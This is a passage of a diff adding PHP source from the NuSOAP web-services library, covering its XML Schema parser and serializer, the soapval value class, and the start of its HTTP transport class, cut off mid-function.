xml_set_character_data_handler($this->parser,'xmlCharacterData'); + } + + // Parse the XML file. + if(!xml_parse($this->parser,$xml,true)){ + // Display an error message. + $errstr = sprintf('XML error parsing XML schema on line %d: %s', + xml_get_current_line_number($this->parser), + xml_error_string(xml_get_error_code($this->parser)) + ); + $this->debug($errstr); + $this->debug("XML payload:\n" . $xml); + $this->setError($errstr); + } + + xml_parser_free($this->parser); + } else{ + $this->debug('no xml passed to parseString()!!'); + $this->setError('no xml passed to parseString()!!'); + } + } + + /** + * gets a type name for an unnamed type + * + * @param string Element name + * @return string A type name for an unnamed type + * @access private + */ + function CreateTypeName($ename) { + $scope = ''; + for ($i = 0; $i < count($this->complexTypeStack); $i++) { + $scope .= $this->complexTypeStack[$i] . '_'; + } + return $scope . $ename . '_ContainedType'; + } + + /** + * start-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @param string $attrs associative array of attributes + * @access private + */ + function schemaStartElement($parser, $name, $attrs) { + + // position in the total number of elements, starting from 0 + $pos = $this->position++; + $depth = $this->depth++; + // set self as current value for this depth + $this->depth_array[$depth] = $pos; + $this->message[$pos] = array('cdata' => ''); + if ($depth > 0) { + $this->defaultNamespace[$pos] = $this->defaultNamespace[$this->depth_array[$depth - 1]]; + } else { + $this->defaultNamespace[$pos] = false; + } + + // get element prefix + if($prefix = $this->getPrefix($name)){ + // get unqualified name + $name = $this->getLocalPart($name); + } else { + $prefix = ''; + } + + // loop thru attributes, expanding, and registering namespace declarations + if(count($attrs) > 0){ + foreach($attrs as $k => $v){ + // if ns declarations, add to class level array of valid namespaces + if(preg_match('/^xmlns/',$k)){ + //$this->xdebug("$k: $v"); + //$this->xdebug('ns_prefix: '.$this->getPrefix($k)); + if($ns_prefix = substr(strrchr($k,':'),1)){ + //$this->xdebug("Add namespace[$ns_prefix] = $v"); + $this->namespaces[$ns_prefix] = $v; + } else { + $this->defaultNamespace[$pos] = $v; + if (! $this->getPrefixFromNamespace($v)) { + $this->namespaces['ns'.(count($this->namespaces)+1)] = $v; + } + } + if($v == 'http://www.w3.org/2001/XMLSchema' || $v == 'http://www.w3.org/1999/XMLSchema' || $v == 'http://www.w3.org/2000/10/XMLSchema'){ + $this->XMLSchemaVersion = $v; + $this->namespaces['xsi'] = $v.'-instance'; + } + } + } + foreach($attrs as $k => $v){ + // expand each attribute + $k = strpos($k,':') ? $this->expandQname($k) : $k; + $v = strpos($v,':') ? $this->expandQname($v) : $v; + $eAttrs[$k] = $v; + } + $attrs = $eAttrs; + } else { + $attrs = array(); + } + // find status, register data + switch($name){ + case 'all': // (optional) compositor content for a complexType + case 'choice': + case 'group': + case 'sequence': + //$this->xdebug("compositor $name for currentComplexType: $this->currentComplexType and currentElement: $this->currentElement"); + $this->complexTypes[$this->currentComplexType]['compositor'] = $name; + //if($name == 'all' || $name == 'sequence'){ + // $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; + //} + break; + case 'attribute': // complexType attribute + //$this->xdebug("parsing attribute $attrs[name] $attrs[ref] of value: ".$attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']); + $this->xdebug("parsing attribute:"); + $this->appendDebug($this->varDump($attrs)); + if (!isset($attrs['form'])) { + // TODO: handle globals + $attrs['form'] = $this->schemaInfo['attributeFormDefault']; + } + if (isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])) { + $v = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + if (!strpos($v, ':')) { + // no namespace in arrayType attribute value... + if ($this->defaultNamespace[$pos]) { + // ...so use the default + $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'] = $this->defaultNamespace[$pos] . ':' . $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + } + } + } + if(isset($attrs['name'])){ + $this->attributes[$attrs['name']] = $attrs; + $aname = $attrs['name']; + } elseif(isset($attrs['ref']) && $attrs['ref'] == 'http://schemas.xmlsoap.org/soap/encoding/:arrayType'){ + if (isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])) { + $aname = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + } else { + $aname = ''; + } + } elseif(isset($attrs['ref'])){ + $aname = $attrs['ref']; + $this->attributes[$attrs['ref']] = $attrs; + } + + if($this->currentComplexType){ // This should *always* be + $this->complexTypes[$this->currentComplexType]['attrs'][$aname] = $attrs; + } + // arrayType attribute + if(isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']) || $this->getLocalPart($aname) == 'arrayType'){ + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + $prefix = $this->getPrefix($aname); + if(isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])){ + $v = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + } else { + $v = ''; + } + if(strpos($v,'[,]')){ + $this->complexTypes[$this->currentComplexType]['multidimensional'] = true; + } + $v = substr($v,0,strpos($v,'[')); // clip the [] + if(!strpos($v,':') && isset($this->typemap[$this->XMLSchemaVersion][$v])){ + $v = $this->XMLSchemaVersion.':'.$v; + } + $this->complexTypes[$this->currentComplexType]['arrayType'] = $v; + } + break; + case 'complexContent': // (optional) content for a complexType + $this->xdebug("do nothing for element $name"); + break; + case 'complexType': + array_push($this->complexTypeStack, $this->currentComplexType); + if(isset($attrs['name'])){ + // TODO: what is the scope of named complexTypes that appear + // nested within other c complexTypes? + $this->xdebug('processing named complexType '.$attrs['name']); + //$this->currentElement = false; + $this->currentComplexType = $attrs['name']; + $this->complexTypes[$this->currentComplexType] = $attrs; + $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType'; + // This is for constructs like + // + // + // + // + // + if(isset($attrs['base']) && preg_match('/:Array$/',$attrs['base'])){ + $this->xdebug('complexType is unusual array'); + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + } else { + $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; + } + } else { + $name = $this->CreateTypeName($this->currentElement); + $this->xdebug('processing unnamed complexType for element ' . $this->currentElement . ' named ' . $name); + $this->currentComplexType = $name; + //$this->currentElement = false; + $this->complexTypes[$this->currentComplexType] = $attrs; + $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType'; + // This is for constructs like + // + // + // + // + // + if(isset($attrs['base']) && preg_match('/:Array$/',$attrs['base'])){ + $this->xdebug('complexType is unusual array'); + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + } else { + $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; + } + } + $this->complexTypes[$this->currentComplexType]['simpleContent'] = 'false'; + break; + case 'element': + array_push($this->elementStack, $this->currentElement); + if (!isset($attrs['form'])) { + if ($this->currentComplexType) { + $attrs['form'] = $this->schemaInfo['elementFormDefault']; + } else { + // global + $attrs['form'] = 'qualified'; + } + } + if(isset($attrs['type'])){ + $this->xdebug("processing typed element ".$attrs['name']." of type ".$attrs['type']); + if (! $this->getPrefix($attrs['type'])) { + if ($this->defaultNamespace[$pos]) { + $attrs['type'] = $this->defaultNamespace[$pos] . ':' . $attrs['type']; + $this->xdebug('used default namespace to make type ' . $attrs['type']); + } + } + // This is for constructs like + // + // + // + // + // + if ($this->currentComplexType && $this->complexTypes[$this->currentComplexType]['phpType'] == 'array') { + $this->xdebug('arrayType for unusual array is ' . $attrs['type']); + $this->complexTypes[$this->currentComplexType]['arrayType'] = $attrs['type']; + } + $this->currentElement = $attrs['name']; + $ename = $attrs['name']; + } elseif(isset($attrs['ref'])){ + $this->xdebug("processing element as ref to ".$attrs['ref']); + $this->currentElement = "ref to ".$attrs['ref']; + $ename = $this->getLocalPart($attrs['ref']); + } else { + $type = $this->CreateTypeName($this->currentComplexType . '_' . $attrs['name']); + $this->xdebug("processing untyped element " . $attrs['name'] . ' type ' . $type); + $this->currentElement = $attrs['name']; + $attrs['type'] = $this->schemaTargetNamespace . ':' . $type; + $ename = $attrs['name']; + } + if (isset($ename) && $this->currentComplexType) { + $this->xdebug("add element $ename to complexType $this->currentComplexType"); + $this->complexTypes[$this->currentComplexType]['elements'][$ename] = $attrs; + } elseif (!isset($attrs['ref'])) { + $this->xdebug("add element $ename to elements array"); + $this->elements[ $attrs['name'] ] = $attrs; + $this->elements[ $attrs['name'] ]['typeClass'] = 'element'; + } + break; + case 'enumeration': // restriction value list member + $this->xdebug('enumeration ' . $attrs['value']); + if ($this->currentSimpleType) { + $this->simpleTypes[$this->currentSimpleType]['enumeration'][] = $attrs['value']; + } elseif ($this->currentComplexType) { + $this->complexTypes[$this->currentComplexType]['enumeration'][] = $attrs['value']; + } + break; + case 'extension': // simpleContent or complexContent type extension + $this->xdebug('extension ' . $attrs['base']); + if ($this->currentComplexType) { + $ns = $this->getPrefix($attrs['base']); + if ($ns == '') { + $this->complexTypes[$this->currentComplexType]['extensionBase'] = $this->schemaTargetNamespace . ':' . $attrs['base']; + } else { + $this->complexTypes[$this->currentComplexType]['extensionBase'] = $attrs['base']; + } + } else { + $this->xdebug('no current complexType to set extensionBase'); + } + break; + case 'import': + if (isset($attrs['schemaLocation'])) { + $this->xdebug('import namespace ' . $attrs['namespace'] . ' from ' . $attrs['schemaLocation']); + $this->imports[$attrs['namespace']][] = array('location' => $attrs['schemaLocation'], 'loaded' => false); + } else { + $this->xdebug('import namespace ' . $attrs['namespace']); + $this->imports[$attrs['namespace']][] = array('location' => '', 'loaded' => true); + if (! $this->getPrefixFromNamespace($attrs['namespace'])) { + $this->namespaces['ns'.(count($this->namespaces)+1)] = $attrs['namespace']; + } + } + break; + case 'include': + if (isset($attrs['schemaLocation'])) { + $this->xdebug('include into namespace ' . $this->schemaTargetNamespace . ' from ' . $attrs['schemaLocation']); + $this->imports[$this->schemaTargetNamespace][] = array('location' => $attrs['schemaLocation'], 'loaded' => false); + } else { + $this->xdebug('ignoring invalid XML Schema construct: include without schemaLocation attribute'); + } + break; + case 'list': // simpleType value list + $this->xdebug("do nothing for element $name"); + break; + case 'restriction': // simpleType, simpleContent or complexContent value restriction + $this->xdebug('restriction ' . $attrs['base']); + if($this->currentSimpleType){ + $this->simpleTypes[$this->currentSimpleType]['type'] = $attrs['base']; + } elseif($this->currentComplexType){ + $this->complexTypes[$this->currentComplexType]['restrictionBase'] = $attrs['base']; + if(strstr($attrs['base'],':') == ':Array'){ + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + } + } + break; + case 'schema': + $this->schemaInfo = $attrs; + $this->schemaInfo['schemaVersion'] = $this->getNamespaceFromPrefix($prefix); + if (isset($attrs['targetNamespace'])) { + $this->schemaTargetNamespace = $attrs['targetNamespace']; + } + if (!isset($attrs['elementFormDefault'])) { + $this->schemaInfo['elementFormDefault'] = 'unqualified'; + } + if (!isset($attrs['attributeFormDefault'])) { + $this->schemaInfo['attributeFormDefault'] = 'unqualified'; + } + break; + case 'simpleContent': // (optional) content for a complexType + if ($this->currentComplexType) { // This should *always* be + $this->complexTypes[$this->currentComplexType]['simpleContent'] = 'true'; + } else { + $this->xdebug("do nothing for element $name because there is no current complexType"); + } + break; + case 'simpleType': + array_push($this->simpleTypeStack, $this->currentSimpleType); + if(isset($attrs['name'])){ + $this->xdebug("processing simpleType for name " . $attrs['name']); + $this->currentSimpleType = $attrs['name']; + $this->simpleTypes[ $attrs['name'] ] = $attrs; + $this->simpleTypes[ $attrs['name'] ]['typeClass'] = 'simpleType'; + $this->simpleTypes[ $attrs['name'] ]['phpType'] = 'scalar'; + } else { + $name = $this->CreateTypeName($this->currentComplexType . '_' . $this->currentElement); + $this->xdebug('processing unnamed simpleType for element ' . $this->currentElement . ' named ' . $name); + $this->currentSimpleType = $name; + //$this->currentElement = false; + $this->simpleTypes[$this->currentSimpleType] = $attrs; + $this->simpleTypes[$this->currentSimpleType]['phpType'] = 'scalar'; + } + break; + case 'union': // simpleType type list + $this->xdebug("do nothing for element $name"); + break; + default: + $this->xdebug("do not have any logic to process element $name"); + } + } + + /** + * end-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @access private + */ + function schemaEndElement($parser, $name) { + // bring depth down a notch + $this->depth--; + // position of current element is equal to the last value left in depth_array for my depth + if(isset($this->depth_array[$this->depth])){ + $pos = $this->depth_array[$this->depth]; + } + // get element prefix + if ($prefix = $this->getPrefix($name)){ + // get unqualified name + $name = $this->getLocalPart($name); + } else { + $prefix = ''; + } + // move on... + if($name == 'complexType'){ + $this->xdebug('done processing complexType ' . ($this->currentComplexType ? $this->currentComplexType : '(unknown)')); + $this->xdebug($this->varDump($this->complexTypes[$this->currentComplexType])); + $this->currentComplexType = array_pop($this->complexTypeStack); + //$this->currentElement = false; + } + if($name == 'element'){ + $this->xdebug('done processing element ' . ($this->currentElement ? $this->currentElement : '(unknown)')); + $this->currentElement = array_pop($this->elementStack); + } + if($name == 'simpleType'){ + $this->xdebug('done processing simpleType ' . ($this->currentSimpleType ? $this->currentSimpleType : '(unknown)')); + $this->xdebug($this->varDump($this->simpleTypes[$this->currentSimpleType])); + $this->currentSimpleType = array_pop($this->simpleTypeStack); + } + } + + /** + * element content handler + * + * @param string $parser XML parser object + * @param string $data element content + * @access private + */ + function schemaCharacterData($parser, $data){ + $pos = $this->depth_array[$this->depth - 1]; + $this->message[$pos]['cdata'] .= $data; + } + + /** + * serialize the schema + * + * @access public + */ + function serializeSchema(){ + + $schemaPrefix = $this->getPrefixFromNamespace($this->XMLSchemaVersion); + $xml = ''; + // imports + if (sizeof($this->imports) > 0) { + foreach($this->imports as $ns => $list) { + foreach ($list as $ii) { + if ($ii['location'] != '') { + $xml .= " <$schemaPrefix:import location=\"" . $ii['location'] . '" namespace="' . $ns . "\" />\n"; + } else { + $xml .= " <$schemaPrefix:import namespace=\"" . $ns . "\" />\n"; + } + } + } + } + // complex types + foreach($this->complexTypes as $typeName => $attrs){ + $contentStr = ''; + // serialize child elements + if(isset($attrs['elements']) && (count($attrs['elements']) > 0)){ + foreach($attrs['elements'] as $element => $eParts){ + if(isset($eParts['ref'])){ + $contentStr .= " <$schemaPrefix:element ref=\"$element\"/>\n"; + } else { + $contentStr .= " <$schemaPrefix:element name=\"$element\" type=\"" . $this->contractQName($eParts['type']) . "\""; + foreach ($eParts as $aName => $aValue) { + // handle, e.g., abstract, default, form, minOccurs, maxOccurs, nillable + if ($aName != 'name' && $aName != 'type') { + $contentStr .= " $aName=\"$aValue\""; + } + } + $contentStr .= "/>\n"; + } + } + // compositor wraps elements + if (isset($attrs['compositor']) && ($attrs['compositor'] != '')) { + $contentStr = " <$schemaPrefix:$attrs[compositor]>\n".$contentStr." \n"; + } + } + // attributes + if(isset($attrs['attrs']) && (count($attrs['attrs']) >= 1)){ + foreach($attrs['attrs'] as $attr => $aParts){ + $contentStr .= " <$schemaPrefix:attribute"; + foreach ($aParts as $a => $v) { + if ($a == 'ref' || $a == 'type') { + $contentStr .= " $a=\"".$this->contractQName($v).'"'; + } elseif ($a == 'http://schemas.xmlsoap.org/wsdl/:arrayType') { + $this->usedNamespaces['wsdl'] = $this->namespaces['wsdl']; + $contentStr .= ' wsdl:arrayType="'.$this->contractQName($v).'"'; + } else { + $contentStr .= " $a=\"$v\""; + } + } + $contentStr .= "/>\n"; + } + } + // if restriction + if (isset($attrs['restrictionBase']) && $attrs['restrictionBase'] != ''){ + $contentStr = " <$schemaPrefix:restriction base=\"".$this->contractQName($attrs['restrictionBase'])."\">\n".$contentStr." \n"; + // complex or simple content + if ((isset($attrs['elements']) && count($attrs['elements']) > 0) || (isset($attrs['attrs']) && count($attrs['attrs']) > 0)){ + $contentStr = " <$schemaPrefix:complexContent>\n".$contentStr." \n"; + } + } + // finalize complex type + if($contentStr != ''){ + $contentStr = " <$schemaPrefix:complexType name=\"$typeName\">\n".$contentStr." \n"; + } else { + $contentStr = " <$schemaPrefix:complexType name=\"$typeName\"/>\n"; + } + $xml .= $contentStr; + } + // simple types + if(isset($this->simpleTypes) && count($this->simpleTypes) > 0){ + foreach($this->simpleTypes as $typeName => $eParts){ + $xml .= " <$schemaPrefix:simpleType name=\"$typeName\">\n <$schemaPrefix:restriction base=\"".$this->contractQName($eParts['type'])."\">\n"; + if (isset($eParts['enumeration'])) { + foreach ($eParts['enumeration'] as $e) { + $xml .= " <$schemaPrefix:enumeration value=\"$e\"/>\n"; + } + } + $xml .= " \n "; + } + } + // elements + if(isset($this->elements) && count($this->elements) > 0){ + foreach($this->elements as $element => $eParts){ + $xml .= " <$schemaPrefix:element name=\"$element\" type=\"".$this->contractQName($eParts['type'])."\"/>\n"; + } + } + // attributes + if(isset($this->attributes) && count($this->attributes) > 0){ + foreach($this->attributes as $attr => $aParts){ + $xml .= " <$schemaPrefix:attribute name=\"$attr\" type=\"".$this->contractQName($aParts['type'])."\"\n/>"; + } + } + // finish 'er up + $attr = ''; + foreach ($this->schemaInfo as $k => $v) { + if ($k == 'elementFormDefault' || $k == 'attributeFormDefault') { + $attr .= " $k=\"$v\""; + } + } + $el = "<$schemaPrefix:schema$attr targetNamespace=\"$this->schemaTargetNamespace\"\n"; + foreach (array_diff($this->usedNamespaces, $this->enclosingNamespaces) as $nsp => $ns) { + $el .= " xmlns:$nsp=\"$ns\""; + } + $xml = $el . ">\n".$xml."\n"; + return $xml; + } + + /** + * adds debug data to the clas level debug string + * + * @param string $string debug data + * @access private + */ + function xdebug($string){ + $this->debug('<' . $this->schemaTargetNamespace . '> '.$string); + } + + /** + * get the PHP type of a user defined type in the schema + * PHP type is kind of a misnomer since it actually returns 'struct' for assoc. arrays + * returns false if no type exists, or not w/ the given namespace + * else returns a string that is either a native php type, or 'struct' + * + * @param string $type name of defined type + * @param string $ns namespace of type + * @return mixed + * @access public + * @deprecated + */ + function getPHPType($type,$ns){ + if(isset($this->typemap[$ns][$type])){ + //print "found type '$type' and ns $ns in typemap
        "; + return $this->typemap[$ns][$type]; + } elseif(isset($this->complexTypes[$type])){ + //print "getting type '$type' and ns $ns from complexTypes array
        "; + return $this->complexTypes[$type]['phpType']; + } + return false; + } + + /** + * returns an associative array of information about a given type + * returns false if no type exists by the given name + * + * For a complexType typeDef = array( + * 'restrictionBase' => '', + * 'phpType' => '', + * 'compositor' => '(sequence|all)', + * 'elements' => array(), // refs to elements array + * 'attrs' => array() // refs to attributes array + * ... and so on (see addComplexType) + * ) + * + * For simpleType or element, the array has different keys. + * + * @param string $type + * @return mixed + * @access public + * @see addComplexType + * @see addSimpleType + * @see addElement + */ + function getTypeDef($type){ + //$this->debug("in getTypeDef for type $type"); + if (substr($type, -1) == '^') { + $is_element = 1; + $type = substr($type, 0, -1); + } else { + $is_element = 0; + } + + if((! $is_element) && isset($this->complexTypes[$type])){ + $this->xdebug("in getTypeDef, found complexType $type"); + return $this->complexTypes[$type]; + } elseif((! $is_element) && isset($this->simpleTypes[$type])){ + $this->xdebug("in getTypeDef, found simpleType $type"); + if (!isset($this->simpleTypes[$type]['phpType'])) { + // get info for type to tack onto the simple type + // TODO: can this ever really apply (i.e. what is a simpleType really?) + $uqType = substr($this->simpleTypes[$type]['type'], strrpos($this->simpleTypes[$type]['type'], ':') + 1); + $ns = substr($this->simpleTypes[$type]['type'], 0, strrpos($this->simpleTypes[$type]['type'], ':')); + $etype = $this->getTypeDef($uqType); + if ($etype) { + $this->xdebug("in getTypeDef, found type for simpleType $type:"); + $this->xdebug($this->varDump($etype)); + if (isset($etype['phpType'])) { + $this->simpleTypes[$type]['phpType'] = $etype['phpType']; + } + if (isset($etype['elements'])) { + $this->simpleTypes[$type]['elements'] = $etype['elements']; + } + } + } + return $this->simpleTypes[$type]; + } elseif(isset($this->elements[$type])){ + $this->xdebug("in getTypeDef, found element $type"); + if (!isset($this->elements[$type]['phpType'])) { + // get info for type to tack onto the element + $uqType = substr($this->elements[$type]['type'], strrpos($this->elements[$type]['type'], ':') + 1); + $ns = substr($this->elements[$type]['type'], 0, strrpos($this->elements[$type]['type'], ':')); + $etype = $this->getTypeDef($uqType); + if ($etype) { + $this->xdebug("in getTypeDef, found type for element $type:"); + $this->xdebug($this->varDump($etype)); + if (isset($etype['phpType'])) { + $this->elements[$type]['phpType'] = $etype['phpType']; + } + if (isset($etype['elements'])) { + $this->elements[$type]['elements'] = $etype['elements']; + } + if (isset($etype['extensionBase'])) { + $this->elements[$type]['extensionBase'] = $etype['extensionBase']; + } + } elseif ($ns == 'http://www.w3.org/2001/XMLSchema') { + $this->xdebug("in getTypeDef, element $type is an XSD type"); + $this->elements[$type]['phpType'] = 'scalar'; + } + } + return $this->elements[$type]; + } elseif(isset($this->attributes[$type])){ + $this->xdebug("in getTypeDef, found attribute $type"); + return $this->attributes[$type]; + } elseif (preg_match('/_ContainedType$/', $type)) { + $this->xdebug("in getTypeDef, have an untyped element $type"); + $typeDef['typeClass'] = 'simpleType'; + $typeDef['phpType'] = 'scalar'; + $typeDef['type'] = 'http://www.w3.org/2001/XMLSchema:string'; + return $typeDef; + } + $this->xdebug("in getTypeDef, did not find $type"); + return false; + } + + /** + * returns a sample serialization of a given type, or false if no type by the given name + * + * @param string $type name of type + * @return mixed + * @access public + * @deprecated + */ + function serializeTypeDef($type){ + //print "in sTD() for type $type
        "; + if($typeDef = $this->getTypeDef($type)){ + $str .= '<'.$type; + if(is_array($typeDef['attrs'])){ + foreach($typeDef['attrs'] as $attName => $data){ + $str .= " $attName=\"{type = ".$data['type']."}\""; + } + } + $str .= " xmlns=\"".$this->schema['targetNamespace']."\""; + if(count($typeDef['elements']) > 0){ + $str .= ">"; + foreach($typeDef['elements'] as $element => $eData){ + $str .= $this->serializeTypeDef($element); + } + $str .= ""; + } elseif($typeDef['typeClass'] == 'element') { + $str .= ">"; + } else { + $str .= "/>"; + } + return $str; + } + return false; + } + + /** + * returns HTML form elements that allow a user + * to enter values for creating an instance of the given type. + * + * @param string $name name for type instance + * @param string $type name of type + * @return string + * @access public + * @deprecated + */ + function typeToForm($name,$type){ + // get typedef + if($typeDef = $this->getTypeDef($type)){ + // if struct + if($typeDef['phpType'] == 'struct'){ + $buffer .= ''; + foreach($typeDef['elements'] as $child => $childDef){ + $buffer .= " + + "; + } + $buffer .= '
        $childDef[name] (type: ".$this->getLocalPart($childDef['type'])."):
        '; + // if array + } elseif($typeDef['phpType'] == 'array'){ + $buffer .= ''; + for($i=0;$i < 3; $i++){ + $buffer .= " + + "; + } + $buffer .= '
        array item (type: $typeDef[arrayType]):
        '; + // if scalar + } else { + $buffer .= ""; + } + } else { + $buffer .= ""; + } + return $buffer; + } + + /** + * adds a complex type to the schema + * + * example: array + * + * addType( + * 'ArrayOfstring', + * 'complexType', + * 'array', + * '', + * 'SOAP-ENC:Array', + * array('ref'=>'SOAP-ENC:arrayType','wsdl:arrayType'=>'string[]'), + * 'xsd:string' + * ); + * + * example: PHP associative array ( SOAP Struct ) + * + * addType( + * 'SOAPStruct', + * 'complexType', + * 'struct', + * 'all', + * array('myVar'=> array('name'=>'myVar','type'=>'string') + * ); + * + * @param name + * @param typeClass (complexType|simpleType|attribute) + * @param phpType: currently supported are array and struct (php assoc array) + * @param compositor (all|sequence|choice) + * @param restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param elements = array ( name = array(name=>'',type=>'') ) + * @param attrs = array( + * array( + * 'ref' => "http://schemas.xmlsoap.org/soap/encoding/:arrayType", + * "http://schemas.xmlsoap.org/wsdl/:arrayType" => "string[]" + * ) + * ) + * @param arrayType: namespace:name (http://www.w3.org/2001/XMLSchema:string) + * @access public + * @see getTypeDef + */ + function addComplexType($name,$typeClass='complexType',$phpType='array',$compositor='',$restrictionBase='',$elements=array(),$attrs=array(),$arrayType=''){ + $this->complexTypes[$name] = array( + 'name' => $name, + 'typeClass' => $typeClass, + 'phpType' => $phpType, + 'compositor'=> $compositor, + 'restrictionBase' => $restrictionBase, + 'elements' => $elements, + 'attrs' => $attrs, + 'arrayType' => $arrayType + ); + + $this->xdebug("addComplexType $name:"); + $this->appendDebug($this->varDump($this->complexTypes[$name])); + } + + /** + * adds a simple type to the schema + * + * @param string $name + * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param string $typeClass (should always be simpleType) + * @param string $phpType (should always be scalar) + * @param array $enumeration array of values + * @access public + * @see nusoap_xmlschema + * @see getTypeDef + */ + function addSimpleType($name, $restrictionBase='', $typeClass='simpleType', $phpType='scalar', $enumeration=array()) { + $this->simpleTypes[$name] = array( + 'name' => $name, + 'typeClass' => $typeClass, + 'phpType' => $phpType, + 'type' => $restrictionBase, + 'enumeration' => $enumeration + ); + + $this->xdebug("addSimpleType $name:"); + $this->appendDebug($this->varDump($this->simpleTypes[$name])); + } + + /** + * adds an element to the schema + * + * @param array $attrs attributes that must include name and type + * @see nusoap_xmlschema + * @access public + */ + function addElement($attrs) { + if (! $this->getPrefix($attrs['type'])) { + $attrs['type'] = $this->schemaTargetNamespace . ':' . $attrs['type']; + } + $this->elements[ $attrs['name'] ] = $attrs; + $this->elements[ $attrs['name'] ]['typeClass'] = 'element'; + + $this->xdebug("addElement " . $attrs['name']); + $this->appendDebug($this->varDump($this->elements[ $attrs['name'] ])); + } +} + +/** + * Backward compatibility + */ +class XMLSchema extends nusoap_xmlschema { +} + +?> +* @version $Id$ +* @access public +*/ +class soapval extends nusoap_base { + /** + * The XML element name + * + * @var string + * @access private + */ + var $name; + /** + * The XML type name (string or false) + * + * @var mixed + * @access private + */ + var $type; + /** + * The PHP value + * + * @var mixed + * @access private + */ + var $value; + /** + * The XML element namespace (string or false) + * + * @var mixed + * @access private + */ + var $element_ns; + /** + * The XML type namespace (string or false) + * + * @var mixed + * @access private + */ + var $type_ns; + /** + * The XML element attributes (array or false) + * + * @var mixed + * @access private + */ + var $attributes; + + /** + * constructor + * + * @param string $name optional name + * @param mixed $type optional type name + * @param mixed $value optional value + * @param mixed $element_ns optional namespace of value + * @param mixed $type_ns optional namespace of type + * @param mixed $attributes associative array of attributes to add to element serialization + * @access public + */ + function soapval($name='soapval',$type=false,$value=-1,$element_ns=false,$type_ns=false,$attributes=false) { + parent::nusoap_base(); + $this->name = $name; + $this->type = $type; + $this->value = $value; + $this->element_ns = $element_ns; + $this->type_ns = $type_ns; + $this->attributes = $attributes; + } + + /** + * return serialized value + * + * @param string $use The WSDL use value (encoded|literal) + * @return string XML data + * @access public + */ + function serialize($use='encoded') { + return $this->serialize_val($this->value, $this->name, $this->type, $this->element_ns, $this->type_ns, $this->attributes, $use, true); + } + + /** + * decodes a soapval object into a PHP native type + * + * @return mixed + * @access public + */ + function decode(){ + return $this->value; + } +} + + + +?> +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class soap_transport_http extends nusoap_base { + + var $url = ''; + var $uri = ''; + var $digest_uri = ''; + var $scheme = ''; + var $host = ''; + var $port = ''; + var $path = ''; + var $request_method = 'POST'; + var $protocol_version = '1.0'; + var $encoding = ''; + var $outgoing_headers = array(); + var $incoming_headers = array(); + var $incoming_cookies = array(); + var $outgoing_payload = ''; + var $incoming_payload = ''; + var $response_status_line; // HTTP response status line + var $useSOAPAction = true; + var $persistentConnection = false; + var $ch = false; // cURL handle + var $ch_options = array(); // cURL custom options + var $use_curl = false; // force cURL use + var $proxy = null; // proxy information (associative array) + var $username = ''; + var $password = ''; + var $authtype = ''; + var $digestRequest = array(); + var $certRequest = array(); // keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional) + // cainfofile: certificate authority file, e.g. '$pathToPemFiles/rootca.pem' + // sslcertfile: SSL certificate file, e.g. '$pathToPemFiles/mycert.pem' + // sslkeyfile: SSL key file, e.g. '$pathToPemFiles/mykey.pem' + // passphrase: SSL key password/passphrase + // certpassword: SSL certificate password + // verifypeer: default is 1 + // verifyhost: default is 1 + + /** + * constructor + * + * @param string $url The URL to which to connect + * @param array $curl_options User-specified cURL options + * @param boolean $use_curl Whether to try to force cURL use + * @access public + */ + function soap_transport_http($url, $curl_options = NULL, $use_curl = false){ + parent::nusoap_base(); + $this->debug("ctor url=$url use_curl=$use_curl curl_options:"); + $this->appendDebug($this->varDump($curl_options)); + $this->setURL($url); + if (is_array($curl_options)) { + $this->ch_options = $curl_options; + } + $this->use_curl = $use_curl; + preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev); + $revision = isset($rev[1]) ? ' ('.$rev[1].')' : null; + $this->setHeader('User-Agent', $this->title.'/'.$this->version.$revision); + } + + /** + * sets a cURL option + * + * @param mixed $option The cURL option (always integer?) + * @param mixed $value The cURL option value + * @access private + */ + function setCurlOption($option, $value) { + $this->debug("setCurlOption option=$option, value="); + $this->appendDebug($this->varDump($value)); + curl_setopt($this->ch, $option, $value); + } + + /** + * sets an HTTP header + * + * @param string $name The name of the header + * @param string $value The value of the header + * @access private + */ + function setHeader($name, $value) { + $this->outgoing_headers[$name] = $value; + $this->debug("set header $name: $value"); + } + + /** + * unsets an HTTP header + * + * @param string $name The name of the header + * @access private + */ + function unsetHeader($name) { + if (isset($this->outgoing_headers[$name])) { + $this->debug("unset header $name"); + unset($this->outgoing_headers[$name]); + } + } + + /** + * sets the URL to which to connect + * + * @param string $url The URL to which to connect + * @access private + */ + function setURL($url) { + $this->url = $url; + + $u = parse_url($url); + foreach($u as $k => $v){ + $this->debug("parsed URL $k = $v"); + $this->$k = $v; + } + + // add any GET params to path + if(isset($u['query']) && $u['query'] != ''){ + $this->path .= '?' . $u['query']; + } + + // set default port + if(!isset($u['port'])){ + if($u['scheme'] == 'https'){ + $this->port = 443; + } else { + $this->port = 80; + } + } + + $this->uri = $this->path; + $this->digest_uri = $this->uri; + + // build headers + if (!isset($u['port'])) { + $this->setHeader('Host', $this->host); + } else { + $this->setHeader('Host', $this->host.':'.$this->port); + } + + if (isset($u['user']) && $u['user'] != '') { + 